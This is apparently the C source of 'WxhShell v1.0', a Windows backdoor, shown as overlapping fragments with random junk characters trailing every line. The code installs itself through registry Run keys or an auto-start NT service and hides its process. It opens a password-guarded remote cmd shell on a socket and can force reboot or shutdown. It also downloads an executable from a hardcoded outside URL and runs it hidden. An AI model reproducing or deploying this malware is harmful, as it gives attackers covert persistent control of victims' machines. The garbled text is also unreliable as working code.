    if(Boot(SHUTDOWN)) A#07Ly8kXn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :+V1682u  
    else { b-=[(]_$h  
    closesocket(wsh); 0 Vgn N  
    ExitThread(0); jKi*3-&  
    } e hB1`%@  
    break; .$x[!fuuR&  
    } <OO/Tn'a  
  // 获取shell oG_'<5Bv>  
  case 's': { $@f3=NJ4k  
    CmdShell(wsh); rp[oH=&  
    closesocket(wsh); UDi3dH=  
    ExitThread(0); rM?Dp2  
    break; ,/?V+3l  
  } aFm]?75  
  // 退出 })u}PQ  
  case 'x': { es(LE/`e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n^(yW  
    CloseIt(wsh); gm8Tm$fY  
    break;  $.]t1e7s  
    } ,,j=RG_  
  // 离开 D/6@bcCSY  
  case 'q': { m_U6"\n 5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z=h5  
    closesocket(wsh); a} fS2He  
    WSACleanup(); 8gKR<X.G  
    exit(1); PY:#F|uHS`  
    break; fvAV[9/-  
        } )mO;l/,0  
  } 21EUP6}8j  
  } )BTs *7 j  
S^"e5n2  
  // 提示信息 z00:59M4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {%k;V ~  
} /!uBk3x:  
  } s6h Wq&C  
e.YchGTQ  
  return; 7T;RXrT  
} n&78~@H  
ok _{8z\#  
// shell模块句柄 xR6IXF>*  
int CmdShell(SOCKET sock) MifgRUe  
{ HNyDWD)_  
STARTUPINFO si; c] 0  
ZeroMemory(&si,sizeof(si)); +rw3.d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `Qk R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !eoec2h#5  
PROCESS_INFORMATION ProcessInfo; v#2qwd3x  
char cmdline[]="cmd"; q9(}wvtr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;= @-j@?  
  return 0; tU2;Wb!Y  
} P87Fg  
~\IDg/9 Cj  
// 自身启动模式 qtQ:7WO  
int StartFromService(void) 3E@&wpj  
{ d7zE8)DU7  
typedef struct <%f%e4 [  
{ &Gwh<%=U  
  DWORD ExitStatus; l"!;Vkg.5  
  DWORD PebBaseAddress; <RsKV$Je I  
  DWORD AffinityMask; Kd1\D!#!6  
  DWORD BasePriority; %,q#f#  
  ULONG UniqueProcessId; Cx'=2Y7  
  ULONG InheritedFromUniqueProcessId; ur[bh  
}   PROCESS_BASIC_INFORMATION; H)fo4N4ii  
)_.H #|r  
PROCNTQSIP NtQueryInformationProcess; bUB6B  
rAdcMFW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7B2Og{P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iDxgAV f*  
.7rsbZzs  
  HANDLE             hProcess; GV[BpH  
  PROCESS_BASIC_INFORMATION pbi; o=2`N2AL  
HUI!IOh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZKTBjOa]*  
  if(NULL == hInst ) return 0; $iJ #%&D  
r+Cha%&D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CfnCi_=[`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ne*aC_)bT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S60`'!y  
sgsMlZ3/  
  if (!NtQueryInformationProcess) return 0; <W^~Y31:0  
K ePHn:c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0].5[Jo  
  if(!hProcess) return 0; 'Em($A (  
Di=6.gm[<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O]!DNN  
DcDGrRuh  
  CloseHandle(hProcess); Gukq}ZQd  
%LW~oI.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ? D'-{/<4  
if(hProcess==NULL) return 0; V-u\TiL  
4f-C]N=  
HMODULE hMod; m_f^#:  
char procName[255]; 9 9-\cQv  
unsigned long cbNeeded; ;<rJ,X#  
Q :|E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); emO!6]0gJ  
H9[.#+ln  
  CloseHandle(hProcess); _{);n$`  
cIkLdh   
if(strstr(procName,"services")) return 1; // 以服务启动 j* ?MFvwE  
[_Z3v,vt,  
  return 0; // 注册表启动 <[~M|OL9q,  
} IrM3Uh  
kS!*kk*a  
// 主模块 % m$Mn x  
int StartWxhshell(LPSTR lpCmdLine) PrxXL/6  
{ 5%/%i}e~(  
  SOCKET wsl; 2 ARh-zLb  
BOOL val=TRUE; 3Mt6iZW  
  int port=0; 4B(qVf&M  
  struct sockaddr_in door; BpE[9N  
?2c:|FD  
  if(wscfg.ws_autoins) Install(); $5O&[/L  
A;PV,2|X  
port=atoi(lpCmdLine); _JoA=< O!  
Yuck]?#0  
if(port<=0) port=wscfg.ws_port; 7T78S&g  
A":x<9   
  WSADATA data; `R;XN-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;[ojwcK[ZF  
d1TG[i<J_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Zkt2[E`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?y kIi/  
  door.sin_family = AF_INET; }wKU=Vm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g5`YUr+3?h  
  door.sin_port = htons(port); WOoVVjMM  
W=+ag<@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SM?<woY=*  
closesocket(wsl); d7Z\  
return 1; u]-$]zIH  
} \!Pm^FD .  
wvY$ s;  
  if(listen(wsl,2) == INVALID_SOCKET) { T8k oP  
closesocket(wsl); &[xJfL  
return 1; NU"X*g-x^  
} Zs)9O Ju  
  Wxhshell(wsl); +q!6zGs.  
  WSACleanup(); Ft7l/  
&40d J~SQ  
return 0; gUl Z cb  
E.brQx#}  
} n&lLC&dL  
-g9f3Be  
// 以NT服务方式启动 i[swOY z]X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S]+}Zyg  
{ M_DkjuR  
DWORD   status = 0; 54-x 14")  
  DWORD   specificError = 0xfffffff; I;LqyzM  
iZF{9@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w@R-@ G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W%x#ps5%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZO}*^  
  serviceStatus.dwWin32ExitCode     = 0; 5NK:94&JE  
  serviceStatus.dwServiceSpecificExitCode = 0; [ q}WS5Cp  
  serviceStatus.dwCheckPoint       = 0; 7O j9~3o4  
  serviceStatus.dwWaitHint       = 0; dx#N)?  
$U1'n@/J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^;e`ZtcI  
  if (hServiceStatusHandle==0) return; /on p<u  
Fwtwf{9I  
status = GetLastError(); ~Km8 -b(&  
  if (status!=NO_ERROR)  GU9`;/  
{ 2 q>4nN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dpS  
    serviceStatus.dwCheckPoint       = 0; wP'`!O[W  
    serviceStatus.dwWaitHint       = 0; `*B8IT)  
    serviceStatus.dwWin32ExitCode     = status; 1JY4E2Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; @%K 8 oYK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m`|+_{4[n  
    return; j56Y,Tm  
  } #&^+hx|  
qH$p]+Rk 5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1Pbp=R/7ar  
  serviceStatus.dwCheckPoint       = 0; .(krB% N  
  serviceStatus.dwWaitHint       = 0; <qu\q \  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -HOCxR  
} Z|.z~53;  
1*5n}cU~  
// 处理NT服务事件,比如:启动、停止 fw5AZvE6$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s<{c?4T  
{ "D+QT+sD  
switch(fdwControl) +KZc"0?  
{ X~0P+E#  
case SERVICE_CONTROL_STOP: {u7E)Fdl  
  serviceStatus.dwWin32ExitCode = 0; p[RD[&#b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B{Rig5Sc  
  serviceStatus.dwCheckPoint   = 0; iJcl0)|  
  serviceStatus.dwWaitHint     = 0; rW6LMkt72  
  { $JOIK9+3z#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @-wAR=k7  
  } X^?-U ne  
  return; a&&EjI  
case SERVICE_CONTROL_PAUSE: *i|hcDk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W`KkuQ4cM  
  break; m1TPy-|1  
case SERVICE_CONTROL_CONTINUE: D:f#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HHdc[pJ0D  
  break; ]l4\/E W6  
case SERVICE_CONTROL_INTERROGATE: ,YH.n>`s+  
  break; {)G3*>sG3  
}; >?5`FC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >DDQ7 l  
} fK[9<"PC0  
kG{(Qi  
// 标准应用程序主函数 kb>9;-%^JK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *op7:o_  
{ v / a/  
|Q$C%7  
// 获取操作系统版本 )]>9\(  
OsIsNt=GetOsVer(); {^~{X$YI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BD#4=u  
"l!"gc87  
  // 从命令行安装 pz(clTOD:  
  if(strpbrk(lpCmdLine,"iI")) Install(); 79&Mc,69  
6rk/74gI,a  
  // 下载执行文件 KxvT}"k  
if(wscfg.ws_downexe) { +_+_`q>]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ym:JtI69   
  WinExec(wscfg.ws_filenam,SW_HIDE); Vi]D](^!  
} RD~QNj9,T  
z*FlZLHY  
if(!OsIsNt) { Ih{~?(V$  
// 如果时win9x,隐藏进程并且设置为注册表启动 2)G ZU  
HideProc(); X;-,3dy  
StartWxhshell(lpCmdLine); a].Bn#AH!C  
} ]UMwpL&rY  
else ;$Wa=wHb  
  if(StartFromService()) 3p7*UVR"  
  // 以服务方式启动 9"/{gf3D  
  StartServiceCtrlDispatcher(DispatchTable); H94$Xi"Bd  
else 9[:nW p^  
  // 普通方式启动 /wmJMX  
  StartWxhshell(lpCmdLine); 9t=erhUr  
4*'NpqC(_  
return 0; H~ (I  
} " <=^Sm  
A:N!H_x  
S6cSeRmw  
I@.qon2V  
=========================================== KExfa4W 3{  
A1i-QG/6  
DRw%~  
l.C {Ar  
O'(qeN<^w  
W0R6<- 1  
" Y~Zg^x2  
])e6\)  
#include <stdio.h> i`E]gJ$  
#include <string.h> h$lY,7  
#include <windows.h> \2 W( >_z  
#include <winsock2.h> rBpr1XKl,  
#include <winsvc.h> )Y)7p//  
#include <urlmon.h> ^c+6?  
SJw0y[IL6(  
#pragma comment (lib, "Ws2_32.lib") [<cP~  
#pragma comment (lib, "urlmon.lib") YV0e)bf  
&H* F  
#define MAX_USER   100 // 最大客户端连接数 zm"&8/l  
#define BUF_SOCK   200 // sock buffer ${`\In_?O  
#define KEY_BUFF   255 // 输入 buffer `,TPd ~#~  
0ro)e~_@*  
#define REBOOT     0   // 重启 3fpX  
#define SHUTDOWN   1   // 关机 GJ!usv u  
G.L4l|%W  
#define DEF_PORT   5000 // 监听端口 { Ke3  
i^j{l_-JE  
#define REG_LEN     16   // 注册表键长度 8amtTM  
#define SVC_LEN     80   // NT服务名长度 594$X@ !v  
\,~gA   
// 从dll定义API 0\u_ \%[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WpRi+NC}ln  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !1|f,9C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IhUuL0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (Iu5QLE  
=$f xK  
// wxhshell配置信息 !! #\P7P  
struct WSCFG { t'~:me!  
  int ws_port;         // 监听端口 :s*&_y  
  char ws_passstr[REG_LEN]; // 口令 'v4AM@%u  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~d28"p.7  
  char ws_regname[REG_LEN]; // 注册表键名 * _U z**M  
  char ws_svcname[REG_LEN]; // 服务名 QD7>S(p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uI.4zbgl[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QiY7m<3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _Tev503  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }K0.*+M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "x&H*"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M=@U]1n*c  
rY88xh^  
}; /ZX8gR5x  
+STT(bMn  
// default Wxhshell configuration R0{+Xd  
struct WSCFG wscfg={DEF_PORT, v^JyVf>  
    "xuhuanlingzhe", HnZr RHT 0  
    1, {{:MJ\_"h_  
    "Wxhshell", ("wPkm^  
    "Wxhshell", CEt_wKz f  
            "WxhShell Service", |(Io(e  
    "Wrsky Windows CmdShell Service", \U p<m>3\  
    "Please Input Your Password: ", I5PaY.i  
  1, 2L ~U^  
  "http://www.wrsky.com/wxhshell.exe", lYU_uFOs\  
  "Wxhshell.exe" RQv`D&u_  
    }; ykM(` 1` m  
W>'R<IY4#N  
// 消息定义模块 s|YY i~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o KX!{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wN"irXG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K@%.T#  
char *msg_ws_ext="\n\rExit."; 6<FJ`l]U9  
char *msg_ws_end="\n\rQuit."; E9QNx6 2  
char *msg_ws_boot="\n\rReboot..."; Fpl<2eBg4  
char *msg_ws_poff="\n\rShutdown..."; \Ui8Sgeei  
char *msg_ws_down="\n\rSave to "; v:<u0B-)$  
j =[Td   
char *msg_ws_err="\n\rErr!"; g7#_a6  
char *msg_ws_ok="\n\rOK!"; ,!PNfJA2  
dLG5yx\js  
char ExeFile[MAX_PATH]; %]RzC`NZ  
int nUser = 0; F71.%p7C8"  
HANDLE handles[MAX_USER]; Bglh}_X  
int OsIsNt; RwN*/Li  
bQEQHqY5  
SERVICE_STATUS       serviceStatus; sm/l'e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;%hlh)k$  
:E]A51  
// 函数声明 m3K8hL/  
int Install(void); n+j'FfSz  
int Uninstall(void); 7J7uHl`yq`  
int DownloadFile(char *sURL, SOCKET wsh); Q{V|{yV^y  
int Boot(int flag); T<?JL.8g_  
void HideProc(void); (N0G[(>  
int GetOsVer(void); *}A J7]  
int Wxhshell(SOCKET wsl); KGzBK:  
void TalkWithClient(void *cs); y~Sh|2x8v  
int CmdShell(SOCKET sock); .,<-lMC+  
int StartFromService(void); ;g7 nG{  
int StartWxhshell(LPSTR lpCmdLine); [u=b[(  
-i7W|X"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4:5CnK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 315Rk!{AJ  
!2$O^ }6"  
// 数据结构和表定义 67')nEQ9  
SERVICE_TABLE_ENTRY DispatchTable[] = sR ~1J4  
{ "~N#Jqzr:  
{wscfg.ws_svcname, NTServiceMain}, @va)j   
{NULL, NULL} x}].lTjD  
}; }=az6cLE2  
0 B>{31)  
// 自我安装 r68'DJ&m3  
int Install(void) teQ%t~PJ-&  
{ 66Huqo  
  char svExeFile[MAX_PATH]; R/A40i  
  HKEY key; q?e97a  
  strcpy(svExeFile,ExeFile); IH'DCY:  
YSs9BF:a  
// 如果是win9x系统,修改注册表设为自启动 iK s/8n  
if(!OsIsNt) { Pv+[N{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nkSYW]aQ1g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q_ykB8Ensa  
  RegCloseKey(key); *3s4JK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y*dzoN.sW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v](7c2;  
  RegCloseKey(key); /F5g@ X&  
  return 0; /`Yp]l  
    } S6 `4&0'  
  } Kisd.~u8j  
} I.euuzBgA  
else { Wu,'S;>C  
bH~ue5q  
// 如果是NT以上系统,安装为系统服务 ~NMal]Fwx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C3:4V2<_  
if (schSCManager!=0) + 79?}|  
{ 6&`.C/"2  
  SC_HANDLE schService = CreateService #7/_Usso  
  ( #y~^!fdp9  
  schSCManager, x$cs_q]J  
  wscfg.ws_svcname, (sq4  
  wscfg.ws_svcdisp, bYYyXM  
  SERVICE_ALL_ACCESS, 3;u*_ ]N_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e3yBB*@  
  SERVICE_AUTO_START, fj[B,ua  
  SERVICE_ERROR_NORMAL, <9@I5 0;  
  svExeFile, 4Sfv  
  NULL, e@Q<hb0<eU  
  NULL, 2fu|X#R  
  NULL, |nk&ir6  
  NULL, W8'cAY  
  NULL qHt!)j9GKv  
  ); :CNHN2 J  
  if (schService!=0) a<B[ ~J4i  
  { X@*$3z#Z  
  CloseServiceHandle(schService); 5P ,{h  
  CloseServiceHandle(schSCManager); l(-6pP5`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1NtN-o)N?  
  strcat(svExeFile,wscfg.ws_svcname); >t<FG2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c8v+eyn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IX7<  
  RegCloseKey(key); P%]li`56-c  
  return 0;  !NUsfd  
    } Rf+ogLa=  
  } %`t;5kmR  
  CloseServiceHandle(schSCManager); KDhr.P.~  
} w*Vf{[a'  
} uHkL$}C  
U+3,(O  
return 1; T@;z o8:  
} TyY[8J|  
`7zz&f9dDX  
// 自我卸载 6] <~0{  
int Uninstall(void) A% 9TS/-p  
{ &B1d+.+  
  HKEY key; ]rO`e N[~U  
WoHFt*e2  
if(!OsIsNt) { {0+gPTp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Drd s"H  
  RegDeleteValue(key,wscfg.ws_regname); )cNG)F  
  RegCloseKey(key); N|EH`eu^i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g 7res  
  RegDeleteValue(key,wscfg.ws_regname); 12M&qqV  
  RegCloseKey(key); rhO ]4A  
  return 0; 1a;Le8  
  } 7^4F,JuJO  
} 4\H:^U&  
} 2-Y%W(bEzs  
else { f^@`[MJj1C  
oj /:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S0eD 2  
if (schSCManager!=0) 6UXa 5t  
{ 9->E$W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .?UK`O2Q  
  if (schService!=0) vE0Ty9OH"]  
  { * xdS<  
  if(DeleteService(schService)!=0) { L:"i,K#P  
  CloseServiceHandle(schService); eN fo8xUG  
  CloseServiceHandle(schSCManager); PsU.dv[  
  return 0; dPwe.:  
  } 3 [: x#r  
  CloseServiceHandle(schService); $=uyZTYF)}  
  } }A3(g$8KR  
  CloseServiceHandle(schSCManager); |FG t'  
} Adp:O"-H1o  
} 3U9]&7^  
(" <3w2Vlh  
return 1; q$`{$RX  
} ]#]|]>& <  
NWd%Za5K;  
// 从指定url下载文件 C2NJrg4(  
int DownloadFile(char *sURL, SOCKET wsh) 12n5{'H2%  
{ o65:)z u  
  HRESULT hr; {Hm0Q  
char seps[]= "/"; u;18s-NY  
char *token; %wn|H>  
char *file; %p6"Sg*  
char myURL[MAX_PATH]; [,e[~J`C  
char myFILE[MAX_PATH]; m:CiXM   
i$gm/ZO  
strcpy(myURL,sURL); r\Nf309~  
  token=strtok(myURL,seps); !7 "-9n  
  while(token!=NULL) I9O!CQCTt  
  { +O>!x#)&"  
    file=token; 0l#gS;  
  token=strtok(NULL,seps); _\waA^ F  
  } -Zc 6_]F|  
RL7OFfMe  
GetCurrentDirectory(MAX_PATH,myFILE); %m$TV@  
strcat(myFILE, "\\"); Cg<:C?>!p  
strcat(myFILE, file); /{Ksi+q  
  send(wsh,myFILE,strlen(myFILE),0); .q$HL t  
send(wsh,"...",3,0); *ci,;-*C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w|!>>W6J  
  if(hr==S_OK) ,6:ya8vB  
return 0; n=!]!'h\:  
else flDe*F^  
return 1; 1^ZQXUzl%i  
(oO*|\9u  
} :c3}J<Z  
Nv}'"V>  
// 系统电源模块 58)`1p\c'  
int Boot(int flag) M>^Ho2  
{ {)nm {IV,  
  HANDLE hToken; <cm,U)j2  
  TOKEN_PRIVILEGES tkp; a]XQM$T$  
c+chwU0W  
  if(OsIsNt) { Y^$^B,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o"dX3jd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  w=5D>]  
    tkp.PrivilegeCount = 1; ovJ#2_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m"*j J.MX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |fnP@k  
if(flag==REBOOT) { >ly`1t1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M&o@~z0  
  return 0; aZEi|\VU  
} "Opk:;.  
else { OZ<iP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }z:g}".4  
  return 0; )\#w=P  
} C9>tj=yEY  
  } Sn=|Q4ZN  
  else { -3`S;Dmn  
if(flag==REBOOT) { Q-o}Xnj*!L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _ #]uk&5a  
  return 0; ^*(*tS|M  
} A.tONPi  
else { j]th6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |6/k2d{,(  
  return 0; ;1PnbU b  
} _V\rs{ 5  
} #T:#!MKa  
6Yhd[I3  
return 1; d#E]>:w9  
} 5VI c  
{`5Sh1b  
// win9x进程隐藏模块 ?,~B@Kx  
void HideProc(void) J%`-K"NB  
{ u:#+R_0#97  
\|9@*]6:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pJ35M  
  if ( hKernel != NULL ) }pOL[$L  
  { W FVx7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vW,dJ[N6jm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wz^Q,Od  
    FreeLibrary(hKernel); Ojqbj0E9  
  } *y +T(73  
6\>S%S2:  
return; P__JN\{9  
} 8q9HQ4dsL  
Pf&\2_H3s9  
// 获取操作系统版本 L -z37kG^  
int GetOsVer(void) ?HwW~aO  
{ 3db ,6R  
  OSVERSIONINFO winfo; Sc03vfmo"N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }z{2~ 0,  
  GetVersionEx(&winfo); l_tr,3_w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \HX'^t`  
  return 1; W" >[sn|  
  else ^Xv_y+  
  return 0; ?blF6Kl$  
} $D{ KXkrd  
*Kj*|>)  
// 客户端句柄模块 c\"t+/Z  
int Wxhshell(SOCKET wsl) K%AbM#o<  
{ zUX%$N+w}>  
  SOCKET wsh; ,#&\1Vxf  
  struct sockaddr_in client; KwGk8$ U  
  DWORD myID; gB/4ro8  
f P'qUN  
  while(nUser<MAX_USER) 4q sIJJ[.  
{ (A!+$}UR  
  int nSize=sizeof(client); *J[3f]PBmR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CqW:m*c  
  if(wsh==INVALID_SOCKET) return 1; ?d@3y<A,~  
#ra"(/)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $n_'# m2LE  
if(handles[nUser]==0) O.61-rp  
  closesocket(wsh); $HVus=D"  
else Q9,H 0r-%  
  nUser++; lS"g[O+  
  } 69#mj*p@+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mS?.xu  
K@av32{  
  return 0; Ln6\Iis  
} ffMh2   
v4M1uJ8  
// 关闭 socket O?`=<W/R  
void CloseIt(SOCKET wsh) l 2&cwjc  
{ nx{_^sK  
closesocket(wsh); _$s ;QI]x  
nUser--; pxm{?eBz  
ExitThread(0); yB][ 3?lv  
} [:M:6JJ  
U caLi&  
// 客户端请求句柄 >6fc` 3*!  
void TalkWithClient(void *cs) }:JE*D|  
{ \XDc{c]  
Wp2b*B=-  
  SOCKET wsh=(SOCKET)cs; ['9awgkr/  
  char pwd[SVC_LEN]; Py^ _::  
  char cmd[KEY_BUFF]; k?(x}IZdG  
char chr[1]; Dn{ hU $*  
int i,j; )qXl8HI  
) 0p9I0=  
  while (nUser < MAX_USER) { Ns?qLSN  
Xvy3D@o  
if(wscfg.ws_passstr) { $ = uz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5:3%RTLG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wh PwD6l>  
  //ZeroMemory(pwd,KEY_BUFF); _H[LUl9  
      i=0; ,3 !D(&  
  while(i<SVC_LEN) { =Xwr*FTr  
DH7B4P  
  // 设置超时 tG!ApL  
  fd_set FdRead; Qs v3`c  
  struct timeval TimeOut; %N((p[\H  
  FD_ZERO(&FdRead); O>8|Lc  
  FD_SET(wsh,&FdRead); LOm*=MVex  
  TimeOut.tv_sec=8; ?&qa3y)wX:  
  TimeOut.tv_usec=0;  m}t.E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _8*}S=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~!PAs_O  
E0F8FR'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P''5A6#5  
  pwd=chr[0]; :.;p Rz  
  if(chr[0]==0xd || chr[0]==0xa) { 4<`Qyul-  
  pwd=0; t(<^of:  
  break; K})=&<M0  
  } )SkJgzvC  
  i++; bCv=Uo,+6  
    } DV={bcQ  
Eqx2.S  
  // 如果是非法用户,关闭 socket n-HQk7=mQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T{9pNf-  
} @|e4.(9A  
I` `S%`h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YH_mWN\Wu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +sN'Y/-  
aT9+] Ig  
while(1) { qN5 ru2  
gmCW__oR  
  ZeroMemory(cmd,KEY_BUFF); zDEX `~c  
g43j-[j)  
      // 自动支持客户端 telnet标准   1 _A B; ^  
  j=0; Ino$N|G[  
  while(j<KEY_BUFF) { zWN/>~}U \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,r$k79TI  
  cmd[j]=chr[0]; (s:ihpI  
  if(chr[0]==0xa || chr[0]==0xd) { cr}T ? $\K  
  cmd[j]=0; v|\<N!g  
  break; (lNV\Za  
  } (P( =6-0  
  j++; E5^P*6c(  
    }  O=,[u?  
_J|TCm  
  // 下载文件  [#+yL  
  if(strstr(cmd,"http://")) { Se0!-NUK0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2 kP0//  
  if(DownloadFile(cmd,wsh)) y. xt7 F1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?%J   
  else 1z .  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AXnuXa(j  
  } gD13(G98  
  else { 7H$I9e  
[uJfmrEH  
    switch(cmd[0]) { 6MewQ{hi  
  fGeDygV^`  
